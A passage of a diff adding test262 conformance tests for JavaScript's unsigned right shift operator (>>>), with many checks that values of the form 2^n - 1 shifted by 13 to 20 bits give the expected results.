+ $ERROR('#454: 16777215 >>> 13 === 2047. Actual: ' + (16777215 >>> 13));
+}
+
+
+if (33554431 >>> 13 !== 4095) {
+ $ERROR('#455: 33554431 >>> 13 === 4095. Actual: ' + (33554431 >>> 13));
+}
+
+
+if (67108863 >>> 13 !== 8191) {
+ $ERROR('#456: 67108863 >>> 13 === 8191. Actual: ' + (67108863 >>> 13));
+}
+
+
+if (134217727 >>> 13 !== 16383) {
+ $ERROR('#457: 134217727 >>> 13 === 16383. Actual: ' + (134217727 >>> 13));
+}
+
+
+if (268435455 >>> 13 !== 32767) {
+ $ERROR('#458: 268435455 >>> 13 === 32767. Actual: ' + (268435455 >>> 13));
+}
+
+
+if (536870911 >>> 13 !== 65535) {
+ $ERROR('#459: 536870911 >>> 13 === 65535. Actual: ' + (536870911 >>> 13));
+}
+
+
+if (1073741823 >>> 13 !== 131071) {
+ $ERROR('#460: 1073741823 >>> 13 === 131071. Actual: ' + (1073741823 >>> 13));
+}
+
+
+if (2147483647 >>> 13 !== 262143) {
+ $ERROR('#461: 2147483647 >>> 13 === 262143. Actual: ' + (2147483647 >>> 13));
+}
+
+
+if (4294967295 >>> 13 !== 524287) {
+ $ERROR('#462: 4294967295 >>> 13 === 524287. Actual: ' + (4294967295 >>> 13));
+}
+
+
+if (0 >>> 14 !== 0) {
+ $ERROR('#463: 0 >>> 14 === 0. Actual: ' + (0 >>> 14));
+}
+
+
+if (1 >>> 14 !== 0) {
+ $ERROR('#464: 1 >>> 14 === 0. Actual: ' + (1 >>> 14));
+}
+
+
+if (3 >>> 14 !== 0) {
+ $ERROR('#465: 3 >>> 14 === 0. Actual: ' + (3 >>> 14));
+}
+
+
+if (7 >>> 14 !== 0) {
+ $ERROR('#466: 7 >>> 14 === 0. Actual: ' + (7 >>> 14));
+}
+
+
+if (15 >>> 14 !== 0) {
+ $ERROR('#467: 15 >>> 14 === 0. Actual: ' + (15 >>> 14));
+}
+
+
+if (31 >>> 14 !== 0) {
+ $ERROR('#468: 31 >>> 14 === 0. Actual: ' + (31 >>> 14));
+}
+
+
+if (63 >>> 14 !== 0) {
+ $ERROR('#469: 63 >>> 14 === 0. Actual: ' + (63 >>> 14));
+}
+
+
+if (127 >>> 14 !== 0) {
+ $ERROR('#470: 127 >>> 14 === 0. Actual: ' + (127 >>> 14));
+}
+
+
+if (255 >>> 14 !== 0) {
+ $ERROR('#471: 255 >>> 14 === 0. Actual: ' + (255 >>> 14));
+}
+
+
+if (511 >>> 14 !== 0) {
+ $ERROR('#472: 511 >>> 14 === 0. Actual: ' + (511 >>> 14));
+}
+
+
+if (1023 >>> 14 !== 0) {
+ $ERROR('#473: 1023 >>> 14 === 0. Actual: ' + (1023 >>> 14));
+}
+
+
+if (2047 >>> 14 !== 0) {
+ $ERROR('#474: 2047 >>> 14 === 0. Actual: ' + (2047 >>> 14));
+}
+
+
+if (4095 >>> 14 !== 0) {
+ $ERROR('#475: 4095 >>> 14 === 0. Actual: ' + (4095 >>> 14));
+}
+
+
+if (8191 >>> 14 !== 0) {
+ $ERROR('#476: 8191 >>> 14 === 0. Actual: ' + (8191 >>> 14));
+}
+
+
+if (16383 >>> 14 !== 0) {
+ $ERROR('#477: 16383 >>> 14 === 0. Actual: ' + (16383 >>> 14));
+}
+
+
+if (32767 >>> 14 !== 1) {
+ $ERROR('#478: 32767 >>> 14 === 1. Actual: ' + (32767 >>> 14));
+}
+
+
+if (65535 >>> 14 !== 3) {
+ $ERROR('#479: 65535 >>> 14 === 3. Actual: ' + (65535 >>> 14));
+}
+
+
+if (131071 >>> 14 !== 7) {
+ $ERROR('#480: 131071 >>> 14 === 7. Actual: ' + (131071 >>> 14));
+}
+
+
+if (262143 >>> 14 !== 15) {
+ $ERROR('#481: 262143 >>> 14 === 15. Actual: ' + (262143 >>> 14));
+}
+
+
+if (524287 >>> 14 !== 31) {
+ $ERROR('#482: 524287 >>> 14 === 31. Actual: ' + (524287 >>> 14));
+}
+
+
+if (1048575 >>> 14 !== 63) {
+ $ERROR('#483: 1048575 >>> 14 === 63. Actual: ' + (1048575 >>> 14));
+}
+
+
+if (2097151 >>> 14 !== 127) {
+ $ERROR('#484: 2097151 >>> 14 === 127. Actual: ' + (2097151 >>> 14));
+}
+
+
+if (4194303 >>> 14 !== 255) {
+ $ERROR('#485: 4194303 >>> 14 === 255. Actual: ' + (4194303 >>> 14));
+}
+
+
+if (8388607 >>> 14 !== 511) {
+ $ERROR('#486: 8388607 >>> 14 === 511. Actual: ' + (8388607 >>> 14));
+}
+
+
+if (16777215 >>> 14 !== 1023) {
+ $ERROR('#487: 16777215 >>> 14 === 1023. Actual: ' + (16777215 >>> 14));
+}
+
+
+if (33554431 >>> 14 !== 2047) {
+ $ERROR('#488: 33554431 >>> 14 === 2047. Actual: ' + (33554431 >>> 14));
+}
+
+
+if (67108863 >>> 14 !== 4095) {
+ $ERROR('#489: 67108863 >>> 14 === 4095. Actual: ' + (67108863 >>> 14));
+}
+
+
+if (134217727 >>> 14 !== 8191) {
+ $ERROR('#490: 134217727 >>> 14 === 8191. Actual: ' + (134217727 >>> 14));
+}
+
+
+if (268435455 >>> 14 !== 16383) {
+ $ERROR('#491: 268435455 >>> 14 === 16383. Actual: ' + (268435455 >>> 14));
+}
+
+
+if (536870911 >>> 14 !== 32767) {
+ $ERROR('#492: 536870911 >>> 14 === 32767. Actual: ' + (536870911 >>> 14));
+}
+
+
+if (1073741823 >>> 14 !== 65535) {
+ $ERROR('#493: 1073741823 >>> 14 === 65535. Actual: ' + (1073741823 >>> 14));
+}
+
+
+if (2147483647 >>> 14 !== 131071) {
+ $ERROR('#494: 2147483647 >>> 14 === 131071. Actual: ' + (2147483647 >>> 14));
+}
+
+
+if (4294967295 >>> 14 !== 262143) {
+ $ERROR('#495: 4294967295 >>> 14 === 262143. Actual: ' + (4294967295 >>> 14));
+}
+
+
+if (0 >>> 15 !== 0) {
+ $ERROR('#496: 0 >>> 15 === 0. Actual: ' + (0 >>> 15));
+}
+
+
+if (1 >>> 15 !== 0) {
+ $ERROR('#497: 1 >>> 15 === 0. Actual: ' + (1 >>> 15));
+}
+
+
+if (3 >>> 15 !== 0) {
+ $ERROR('#498: 3 >>> 15 === 0. Actual: ' + (3 >>> 15));
+}
+
+
+if (7 >>> 15 !== 0) {
+ $ERROR('#499: 7 >>> 15 === 0. Actual: ' + (7 >>> 15));
+}
+
+
+if (15 >>> 15 !== 0) {
+ $ERROR('#500: 15 >>> 15 === 0. Actual: ' + (15 >>> 15));
+}
+
+
+if (31 >>> 15 !== 0) {
+ $ERROR('#501: 31 >>> 15 === 0. Actual: ' + (31 >>> 15));
+}
+
+
+if (63 >>> 15 !== 0) {
+ $ERROR('#502: 63 >>> 15 === 0. Actual: ' + (63 >>> 15));
+}
+
+
+if (127 >>> 15 !== 0) {
+ $ERROR('#503: 127 >>> 15 === 0. Actual: ' + (127 >>> 15));
+}
+
+
+if (255 >>> 15 !== 0) {
+ $ERROR('#504: 255 >>> 15 === 0. Actual: ' + (255 >>> 15));
+}
+
+
+if (511 >>> 15 !== 0) {
+ $ERROR('#505: 511 >>> 15 === 0. Actual: ' + (511 >>> 15));
+}
+
+
+if (1023 >>> 15 !== 0) {
+ $ERROR('#506: 1023 >>> 15 === 0. Actual: ' + (1023 >>> 15));
+}
+
+
+if (2047 >>> 15 !== 0) {
+ $ERROR('#507: 2047 >>> 15 === 0. Actual: ' + (2047 >>> 15));
+}
+
+
+if (4095 >>> 15 !== 0) {
+ $ERROR('#508: 4095 >>> 15 === 0. Actual: ' + (4095 >>> 15));
+}
+
+
+if (8191 >>> 15 !== 0) {
+ $ERROR('#509: 8191 >>> 15 === 0. Actual: ' + (8191 >>> 15));
+}
+
+
+if (16383 >>> 15 !== 0) {
+ $ERROR('#510: 16383 >>> 15 === 0. Actual: ' + (16383 >>> 15));
+}
+
+
+if (32767 >>> 15 !== 0) {
+ $ERROR('#511: 32767 >>> 15 === 0. Actual: ' + (32767 >>> 15));
+}
+
+
+if (65535 >>> 15 !== 1) {
+ $ERROR('#512: 65535 >>> 15 === 1. Actual: ' + (65535 >>> 15));
+}
+
+
+if (131071 >>> 15 !== 3) {
+ $ERROR('#513: 131071 >>> 15 === 3. Actual: ' + (131071 >>> 15));
+}
+
+
+if (262143 >>> 15 !== 7) {
+ $ERROR('#514: 262143 >>> 15 === 7. Actual: ' + (262143 >>> 15));
+}
+
+
+if (524287 >>> 15 !== 15) {
+ $ERROR('#515: 524287 >>> 15 === 15. Actual: ' + (524287 >>> 15));
+}
+
+
+if (1048575 >>> 15 !== 31) {
+ $ERROR('#516: 1048575 >>> 15 === 31. Actual: ' + (1048575 >>> 15));
+}
+
+
+if (2097151 >>> 15 !== 63) {
+ $ERROR('#517: 2097151 >>> 15 === 63. Actual: ' + (2097151 >>> 15));
+}
+
+
+if (4194303 >>> 15 !== 127) {
+ $ERROR('#518: 4194303 >>> 15 === 127. Actual: ' + (4194303 >>> 15));
+}
+
+
+if (8388607 >>> 15 !== 255) {
+ $ERROR('#519: 8388607 >>> 15 === 255. Actual: ' + (8388607 >>> 15));
+}
+
+
+if (16777215 >>> 15 !== 511) {
+ $ERROR('#520: 16777215 >>> 15 === 511. Actual: ' + (16777215 >>> 15));
+}
+
+
+if (33554431 >>> 15 !== 1023) {
+ $ERROR('#521: 33554431 >>> 15 === 1023. Actual: ' + (33554431 >>> 15));
+}
+
+
+if (67108863 >>> 15 !== 2047) {
+ $ERROR('#522: 67108863 >>> 15 === 2047. Actual: ' + (67108863 >>> 15));
+}
+
+
+if (134217727 >>> 15 !== 4095) {
+ $ERROR('#523: 134217727 >>> 15 === 4095. Actual: ' + (134217727 >>> 15));
+}
+
+
+if (268435455 >>> 15 !== 8191) {
+ $ERROR('#524: 268435455 >>> 15 === 8191. Actual: ' + (268435455 >>> 15));
+}
+
+
+if (536870911 >>> 15 !== 16383) {
+ $ERROR('#525: 536870911 >>> 15 === 16383. Actual: ' + (536870911 >>> 15));
+}
+
+
+if (1073741823 >>> 15 !== 32767) {
+ $ERROR('#526: 1073741823 >>> 15 === 32767. Actual: ' + (1073741823 >>> 15));
+}
+
+
+if (2147483647 >>> 15 !== 65535) {
+ $ERROR('#527: 2147483647 >>> 15 === 65535. Actual: ' + (2147483647 >>> 15));
+}
+
+
+if (4294967295 >>> 15 !== 131071) {
+ $ERROR('#528: 4294967295 >>> 15 === 131071. Actual: ' + (4294967295 >>> 15));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T4.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T4.js
new file mode 100644
index 000000000..b8af33ec2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T4.js
@@ -0,0 +1,2651 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check operator x >>> y in distinct points
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A4_T4.js
+ * @description ShiftExpression = 2^n - 1, n = 16...31
+ */
+
+//CHECK
+
+if (0 >>> 16 !== 0) {
+ $ERROR('#529: 0 >>> 16 === 0. Actual: ' + (0 >>> 16));
+}
+
+
+if (1 >>> 16 !== 0) {
+ $ERROR('#530: 1 >>> 16 === 0. Actual: ' + (1 >>> 16));
+}
+
+
+if (3 >>> 16 !== 0) {
+ $ERROR('#531: 3 >>> 16 === 0. Actual: ' + (3 >>> 16));
+}
+
+
+if (7 >>> 16 !== 0) {
+ $ERROR('#532: 7 >>> 16 === 0. Actual: ' + (7 >>> 16));
+}
+
+
+if (15 >>> 16 !== 0) {
+ $ERROR('#533: 15 >>> 16 === 0. Actual: ' + (15 >>> 16));
+}
+
+
+if (31 >>> 16 !== 0) {
+ $ERROR('#534: 31 >>> 16 === 0. Actual: ' + (31 >>> 16));
+}
+
+
+if (63 >>> 16 !== 0) {
+ $ERROR('#535: 63 >>> 16 === 0. Actual: ' + (63 >>> 16));
+}
+
+
+if (127 >>> 16 !== 0) {
+ $ERROR('#536: 127 >>> 16 === 0. Actual: ' + (127 >>> 16));
+}
+
+
+if (255 >>> 16 !== 0) {
+ $ERROR('#537: 255 >>> 16 === 0. Actual: ' + (255 >>> 16));
+}
+
+
+if (511 >>> 16 !== 0) {
+ $ERROR('#538: 511 >>> 16 === 0. Actual: ' + (511 >>> 16));
+}
+
+
+if (1023 >>> 16 !== 0) {
+ $ERROR('#539: 1023 >>> 16 === 0. Actual: ' + (1023 >>> 16));
+}
+
+
+if (2047 >>> 16 !== 0) {
+ $ERROR('#540: 2047 >>> 16 === 0. Actual: ' + (2047 >>> 16));
+}
+
+
+if (4095 >>> 16 !== 0) {
+ $ERROR('#541: 4095 >>> 16 === 0. Actual: ' + (4095 >>> 16));
+}
+
+
+if (8191 >>> 16 !== 0) {
+ $ERROR('#542: 8191 >>> 16 === 0. Actual: ' + (8191 >>> 16));
+}
+
+
+if (16383 >>> 16 !== 0) {
+ $ERROR('#543: 16383 >>> 16 === 0. Actual: ' + (16383 >>> 16));
+}
+
+
+if (32767 >>> 16 !== 0) {
+ $ERROR('#544: 32767 >>> 16 === 0. Actual: ' + (32767 >>> 16));
+}
+
+
+if (65535 >>> 16 !== 0) {
+ $ERROR('#545: 65535 >>> 16 === 0. Actual: ' + (65535 >>> 16));
+}
+
+
+if (131071 >>> 16 !== 1) {
+ $ERROR('#546: 131071 >>> 16 === 1. Actual: ' + (131071 >>> 16));
+}
+
+
+if (262143 >>> 16 !== 3) {
+ $ERROR('#547: 262143 >>> 16 === 3. Actual: ' + (262143 >>> 16));
+}
+
+
+if (524287 >>> 16 !== 7) {
+ $ERROR('#548: 524287 >>> 16 === 7. Actual: ' + (524287 >>> 16));
+}
+
+
+if (1048575 >>> 16 !== 15) {
+ $ERROR('#549: 1048575 >>> 16 === 15. Actual: ' + (1048575 >>> 16));
+}
+
+
+if (2097151 >>> 16 !== 31) {
+ $ERROR('#550: 2097151 >>> 16 === 31. Actual: ' + (2097151 >>> 16));
+}
+
+
+if (4194303 >>> 16 !== 63) {
+ $ERROR('#551: 4194303 >>> 16 === 63. Actual: ' + (4194303 >>> 16));
+}
+
+
+if (8388607 >>> 16 !== 127) {
+ $ERROR('#552: 8388607 >>> 16 === 127. Actual: ' + (8388607 >>> 16));
+}
+
+
+if (16777215 >>> 16 !== 255) {
+ $ERROR('#553: 16777215 >>> 16 === 255. Actual: ' + (16777215 >>> 16));
+}
+
+
+if (33554431 >>> 16 !== 511) {
+ $ERROR('#554: 33554431 >>> 16 === 511. Actual: ' + (33554431 >>> 16));
+}
+
+
+if (67108863 >>> 16 !== 1023) {
+ $ERROR('#555: 67108863 >>> 16 === 1023. Actual: ' + (67108863 >>> 16));
+}
+
+
+if (134217727 >>> 16 !== 2047) {
+ $ERROR('#556: 134217727 >>> 16 === 2047. Actual: ' + (134217727 >>> 16));
+}
+
+
+if (268435455 >>> 16 !== 4095) {
+ $ERROR('#557: 268435455 >>> 16 === 4095. Actual: ' + (268435455 >>> 16));
+}
+
+
+if (536870911 >>> 16 !== 8191) {
+ $ERROR('#558: 536870911 >>> 16 === 8191. Actual: ' + (536870911 >>> 16));
+}
+
+
+if (1073741823 >>> 16 !== 16383) {
+ $ERROR('#559: 1073741823 >>> 16 === 16383. Actual: ' + (1073741823 >>> 16));
+}
+
+
+if (2147483647 >>> 16 !== 32767) {
+ $ERROR('#560: 2147483647 >>> 16 === 32767. Actual: ' + (2147483647 >>> 16));
+}
+
+
+if (4294967295 >>> 16 !== 65535) {
+ $ERROR('#561: 4294967295 >>> 16 === 65535. Actual: ' + (4294967295 >>> 16));
+}
+
+
+if (0 >>> 17 !== 0) {
+ $ERROR('#562: 0 >>> 17 === 0. Actual: ' + (0 >>> 17));
+}
+
+
+if (1 >>> 17 !== 0) {
+ $ERROR('#563: 1 >>> 17 === 0. Actual: ' + (1 >>> 17));
+}
+
+
+if (3 >>> 17 !== 0) {
+ $ERROR('#564: 3 >>> 17 === 0. Actual: ' + (3 >>> 17));
+}
+
+
+if (7 >>> 17 !== 0) {
+ $ERROR('#565: 7 >>> 17 === 0. Actual: ' + (7 >>> 17));
+}
+
+
+if (15 >>> 17 !== 0) {
+ $ERROR('#566: 15 >>> 17 === 0. Actual: ' + (15 >>> 17));
+}
+
+
+if (31 >>> 17 !== 0) {
+ $ERROR('#567: 31 >>> 17 === 0. Actual: ' + (31 >>> 17));
+}
+
+
+if (63 >>> 17 !== 0) {
+ $ERROR('#568: 63 >>> 17 === 0. Actual: ' + (63 >>> 17));
+}
+
+
+if (127 >>> 17 !== 0) {
+ $ERROR('#569: 127 >>> 17 === 0. Actual: ' + (127 >>> 17));
+}
+
+
+if (255 >>> 17 !== 0) {
+ $ERROR('#570: 255 >>> 17 === 0. Actual: ' + (255 >>> 17));
+}
+
+
+if (511 >>> 17 !== 0) {
+ $ERROR('#571: 511 >>> 17 === 0. Actual: ' + (511 >>> 17));
+}
+
+
+if (1023 >>> 17 !== 0) {
+ $ERROR('#572: 1023 >>> 17 === 0. Actual: ' + (1023 >>> 17));
+}
+
+
+if (2047 >>> 17 !== 0) {
+ $ERROR('#573: 2047 >>> 17 === 0. Actual: ' + (2047 >>> 17));
+}
+
+
+if (4095 >>> 17 !== 0) {
+ $ERROR('#574: 4095 >>> 17 === 0. Actual: ' + (4095 >>> 17));
+}
+
+
+if (8191 >>> 17 !== 0) {
+ $ERROR('#575: 8191 >>> 17 === 0. Actual: ' + (8191 >>> 17));
+}
+
+
+if (16383 >>> 17 !== 0) {
+ $ERROR('#576: 16383 >>> 17 === 0. Actual: ' + (16383 >>> 17));
+}
+
+
+if (32767 >>> 17 !== 0) {
+ $ERROR('#577: 32767 >>> 17 === 0. Actual: ' + (32767 >>> 17));
+}
+
+
+if (65535 >>> 17 !== 0) {
+ $ERROR('#578: 65535 >>> 17 === 0. Actual: ' + (65535 >>> 17));
+}
+
+
+if (131071 >>> 17 !== 0) {
+ $ERROR('#579: 131071 >>> 17 === 0. Actual: ' + (131071 >>> 17));
+}
+
+
+if (262143 >>> 17 !== 1) {
+ $ERROR('#580: 262143 >>> 17 === 1. Actual: ' + (262143 >>> 17));
+}
+
+
+if (524287 >>> 17 !== 3) {
+ $ERROR('#581: 524287 >>> 17 === 3. Actual: ' + (524287 >>> 17));
+}
+
+
+if (1048575 >>> 17 !== 7) {
+ $ERROR('#582: 1048575 >>> 17 === 7. Actual: ' + (1048575 >>> 17));
+}
+
+
+if (2097151 >>> 17 !== 15) {
+ $ERROR('#583: 2097151 >>> 17 === 15. Actual: ' + (2097151 >>> 17));
+}
+
+
+if (4194303 >>> 17 !== 31) {
+ $ERROR('#584: 4194303 >>> 17 === 31. Actual: ' + (4194303 >>> 17));
+}
+
+
+if (8388607 >>> 17 !== 63) {
+ $ERROR('#585: 8388607 >>> 17 === 63. Actual: ' + (8388607 >>> 17));
+}
+
+
+if (16777215 >>> 17 !== 127) {
+ $ERROR('#586: 16777215 >>> 17 === 127. Actual: ' + (16777215 >>> 17));
+}
+
+
+if (33554431 >>> 17 !== 255) {
+ $ERROR('#587: 33554431 >>> 17 === 255. Actual: ' + (33554431 >>> 17));
+}
+
+
+if (67108863 >>> 17 !== 511) {
+ $ERROR('#588: 67108863 >>> 17 === 511. Actual: ' + (67108863 >>> 17));
+}
+
+
+if (134217727 >>> 17 !== 1023) {
+ $ERROR('#589: 134217727 >>> 17 === 1023. Actual: ' + (134217727 >>> 17));
+}
+
+
+if (268435455 >>> 17 !== 2047) {
+ $ERROR('#590: 268435455 >>> 17 === 2047. Actual: ' + (268435455 >>> 17));
+}
+
+
+if (536870911 >>> 17 !== 4095) {
+ $ERROR('#591: 536870911 >>> 17 === 4095. Actual: ' + (536870911 >>> 17));
+}
+
+
+if (1073741823 >>> 17 !== 8191) {
+ $ERROR('#592: 1073741823 >>> 17 === 8191. Actual: ' + (1073741823 >>> 17));
+}
+
+
+if (2147483647 >>> 17 !== 16383) {
+ $ERROR('#593: 2147483647 >>> 17 === 16383. Actual: ' + (2147483647 >>> 17));
+}
+
+
+if (4294967295 >>> 17 !== 32767) {
+ $ERROR('#594: 4294967295 >>> 17 === 32767. Actual: ' + (4294967295 >>> 17));
+}
+
+
+if (0 >>> 18 !== 0) {
+ $ERROR('#595: 0 >>> 18 === 0. Actual: ' + (0 >>> 18));
+}
+
+
+if (1 >>> 18 !== 0) {
+ $ERROR('#596: 1 >>> 18 === 0. Actual: ' + (1 >>> 18));
+}
+
+
+if (3 >>> 18 !== 0) {
+ $ERROR('#597: 3 >>> 18 === 0. Actual: ' + (3 >>> 18));
+}
+
+
+if (7 >>> 18 !== 0) {
+ $ERROR('#598: 7 >>> 18 === 0. Actual: ' + (7 >>> 18));
+}
+
+
+if (15 >>> 18 !== 0) {
+ $ERROR('#599: 15 >>> 18 === 0. Actual: ' + (15 >>> 18));
+}
+
+
+if (31 >>> 18 !== 0) {
+ $ERROR('#600: 31 >>> 18 === 0. Actual: ' + (31 >>> 18));
+}
+
+
+if (63 >>> 18 !== 0) {
+ $ERROR('#601: 63 >>> 18 === 0. Actual: ' + (63 >>> 18));
+}
+
+
+if (127 >>> 18 !== 0) {
+ $ERROR('#602: 127 >>> 18 === 0. Actual: ' + (127 >>> 18));
+}
+
+
+if (255 >>> 18 !== 0) {
+ $ERROR('#603: 255 >>> 18 === 0. Actual: ' + (255 >>> 18));
+}
+
+
+if (511 >>> 18 !== 0) {
+ $ERROR('#604: 511 >>> 18 === 0. Actual: ' + (511 >>> 18));
+}
+
+
+if (1023 >>> 18 !== 0) {
+ $ERROR('#605: 1023 >>> 18 === 0. Actual: ' + (1023 >>> 18));
+}
+
+
+if (2047 >>> 18 !== 0) {
+ $ERROR('#606: 2047 >>> 18 === 0. Actual: ' + (2047 >>> 18));
+}
+
+
+if (4095 >>> 18 !== 0) {
+ $ERROR('#607: 4095 >>> 18 === 0. Actual: ' + (4095 >>> 18));
+}
+
+
+if (8191 >>> 18 !== 0) {
+ $ERROR('#608: 8191 >>> 18 === 0. Actual: ' + (8191 >>> 18));
+}
+
+
+if (16383 >>> 18 !== 0) {
+ $ERROR('#609: 16383 >>> 18 === 0. Actual: ' + (16383 >>> 18));
+}
+
+
+if (32767 >>> 18 !== 0) {
+ $ERROR('#610: 32767 >>> 18 === 0. Actual: ' + (32767 >>> 18));
+}
+
+
+if (65535 >>> 18 !== 0) {
+ $ERROR('#611: 65535 >>> 18 === 0. Actual: ' + (65535 >>> 18));
+}
+
+
+if (131071 >>> 18 !== 0) {
+ $ERROR('#612: 131071 >>> 18 === 0. Actual: ' + (131071 >>> 18));
+}
+
+
+if (262143 >>> 18 !== 0) {
+ $ERROR('#613: 262143 >>> 18 === 0. Actual: ' + (262143 >>> 18));
+}
+
+
+if (524287 >>> 18 !== 1) {
+ $ERROR('#614: 524287 >>> 18 === 1. Actual: ' + (524287 >>> 18));
+}
+
+
+if (1048575 >>> 18 !== 3) {
+ $ERROR('#615: 1048575 >>> 18 === 3. Actual: ' + (1048575 >>> 18));
+}
+
+
+if (2097151 >>> 18 !== 7) {
+ $ERROR('#616: 2097151 >>> 18 === 7. Actual: ' + (2097151 >>> 18));
+}
+
+
+if (4194303 >>> 18 !== 15) {
+ $ERROR('#617: 4194303 >>> 18 === 15. Actual: ' + (4194303 >>> 18));
+}
+
+
+if (8388607 >>> 18 !== 31) {
+ $ERROR('#618: 8388607 >>> 18 === 31. Actual: ' + (8388607 >>> 18));
+}
+
+
+if (16777215 >>> 18 !== 63) {
+ $ERROR('#619: 16777215 >>> 18 === 63. Actual: ' + (16777215 >>> 18));
+}
+
+
+if (33554431 >>> 18 !== 127) {
+ $ERROR('#620: 33554431 >>> 18 === 127. Actual: ' + (33554431 >>> 18));
+}
+
+
+if (67108863 >>> 18 !== 255) {
+ $ERROR('#621: 67108863 >>> 18 === 255. Actual: ' + (67108863 >>> 18));
+}
+
+
+if (134217727 >>> 18 !== 511) {
+ $ERROR('#622: 134217727 >>> 18 === 511. Actual: ' + (134217727 >>> 18));
+}
+
+
+if (268435455 >>> 18 !== 1023) {
+ $ERROR('#623: 268435455 >>> 18 === 1023. Actual: ' + (268435455 >>> 18));
+}
+
+
+if (536870911 >>> 18 !== 2047) {
+ $ERROR('#624: 536870911 >>> 18 === 2047. Actual: ' + (536870911 >>> 18));
+}
+
+
+if (1073741823 >>> 18 !== 4095) {
+ $ERROR('#625: 1073741823 >>> 18 === 4095. Actual: ' + (1073741823 >>> 18));
+}
+
+
+if (2147483647 >>> 18 !== 8191) {
+ $ERROR('#626: 2147483647 >>> 18 === 8191. Actual: ' + (2147483647 >>> 18));
+}
+
+
+if (4294967295 >>> 18 !== 16383) {
+ $ERROR('#627: 4294967295 >>> 18 === 16383. Actual: ' + (4294967295 >>> 18));
+}
+
+
+if (0 >>> 19 !== 0) {
+ $ERROR('#628: 0 >>> 19 === 0. Actual: ' + (0 >>> 19));
+}
+
+
+if (1 >>> 19 !== 0) {
+ $ERROR('#629: 1 >>> 19 === 0. Actual: ' + (1 >>> 19));
+}
+
+
+if (3 >>> 19 !== 0) {
+ $ERROR('#630: 3 >>> 19 === 0. Actual: ' + (3 >>> 19));
+}
+
+
+if (7 >>> 19 !== 0) {
+ $ERROR('#631: 7 >>> 19 === 0. Actual: ' + (7 >>> 19));
+}
+
+
+if (15 >>> 19 !== 0) {
+ $ERROR('#632: 15 >>> 19 === 0. Actual: ' + (15 >>> 19));
+}
+
+
+if (31 >>> 19 !== 0) {
+ $ERROR('#633: 31 >>> 19 === 0. Actual: ' + (31 >>> 19));
+}
+
+
+if (63 >>> 19 !== 0) {
+ $ERROR('#634: 63 >>> 19 === 0. Actual: ' + (63 >>> 19));
+}
+
+
+if (127 >>> 19 !== 0) {
+ $ERROR('#635: 127 >>> 19 === 0. Actual: ' + (127 >>> 19));
+}
+
+
+if (255 >>> 19 !== 0) {
+ $ERROR('#636: 255 >>> 19 === 0. Actual: ' + (255 >>> 19));
+}
+
+
+if (511 >>> 19 !== 0) {
+ $ERROR('#637: 511 >>> 19 === 0. Actual: ' + (511 >>> 19));
+}
+
+
+if (1023 >>> 19 !== 0) {
+ $ERROR('#638: 1023 >>> 19 === 0. Actual: ' + (1023 >>> 19));
+}
+
+
+if (2047 >>> 19 !== 0) {
+ $ERROR('#639: 2047 >>> 19 === 0. Actual: ' + (2047 >>> 19));
+}
+
+
+if (4095 >>> 19 !== 0) {
+ $ERROR('#640: 4095 >>> 19 === 0. Actual: ' + (4095 >>> 19));
+}
+
+
+if (8191 >>> 19 !== 0) {
+ $ERROR('#641: 8191 >>> 19 === 0. Actual: ' + (8191 >>> 19));
+}
+
+
+if (16383 >>> 19 !== 0) {
+ $ERROR('#642: 16383 >>> 19 === 0. Actual: ' + (16383 >>> 19));
+}
+
+
+if (32767 >>> 19 !== 0) {
+ $ERROR('#643: 32767 >>> 19 === 0. Actual: ' + (32767 >>> 19));
+}
+
+
+if (65535 >>> 19 !== 0) {
+ $ERROR('#644: 65535 >>> 19 === 0. Actual: ' + (65535 >>> 19));
+}
+
+
+if (131071 >>> 19 !== 0) {
+ $ERROR('#645: 131071 >>> 19 === 0. Actual: ' + (131071 >>> 19));
+}
+
+
+if (262143 >>> 19 !== 0) {
+ $ERROR('#646: 262143 >>> 19 === 0. Actual: ' + (262143 >>> 19));
+}
+
+
+if (524287 >>> 19 !== 0) {
+ $ERROR('#647: 524287 >>> 19 === 0. Actual: ' + (524287 >>> 19));
+}
+
+
+if (1048575 >>> 19 !== 1) {
+ $ERROR('#648: 1048575 >>> 19 === 1. Actual: ' + (1048575 >>> 19));
+}
+
+
+if (2097151 >>> 19 !== 3) {
+ $ERROR('#649: 2097151 >>> 19 === 3. Actual: ' + (2097151 >>> 19));
+}
+
+
+if (4194303 >>> 19 !== 7) {
+ $ERROR('#650: 4194303 >>> 19 === 7. Actual: ' + (4194303 >>> 19));
+}
+
+
+if (8388607 >>> 19 !== 15) {
+ $ERROR('#651: 8388607 >>> 19 === 15. Actual: ' + (8388607 >>> 19));
+}
+
+
+if (16777215 >>> 19 !== 31) {
+ $ERROR('#652: 16777215 >>> 19 === 31. Actual: ' + (16777215 >>> 19));
+}
+
+
+if (33554431 >>> 19 !== 63) {
+ $ERROR('#653: 33554431 >>> 19 === 63. Actual: ' + (33554431 >>> 19));
+}
+
+
+if (67108863 >>> 19 !== 127) {
+ $ERROR('#654: 67108863 >>> 19 === 127. Actual: ' + (67108863 >>> 19));
+}
+
+
+if (134217727 >>> 19 !== 255) {
+ $ERROR('#655: 134217727 >>> 19 === 255. Actual: ' + (134217727 >>> 19));
+}
+
+
+if (268435455 >>> 19 !== 511) {
+ $ERROR('#656: 268435455 >>> 19 === 511. Actual: ' + (268435455 >>> 19));
+}
+
+
+if (536870911 >>> 19 !== 1023) {
+ $ERROR('#657: 536870911 >>> 19 === 1023. Actual: ' + (536870911 >>> 19));
+}
+
+
+if (1073741823 >>> 19 !== 2047) {
+ $ERROR('#658: 1073741823 >>> 19 === 2047. Actual: ' + (1073741823 >>> 19));
+}
+
+
+if (2147483647 >>> 19 !== 4095) {
+ $ERROR('#659: 2147483647 >>> 19 === 4095. Actual: ' + (2147483647 >>> 19));
+}
+
+
+if (4294967295 >>> 19 !== 8191) {
+ $ERROR('#660: 4294967295 >>> 19 === 8191. Actual: ' + (4294967295 >>> 19));
+}
+
+
+if (0 >>> 20 !== 0) {
+ $ERROR('#661: 0 >>> 20 === 0. Actual: ' + (0 >>> 20));
+}
+
+
+if (1 >>> 20 !== 0) {
+ $ERROR('#662: 1 >>> 20 === 0. Actual: ' + (1 >>> 20));
+}
+
+
+if (3 >>> 20 !== 0) {
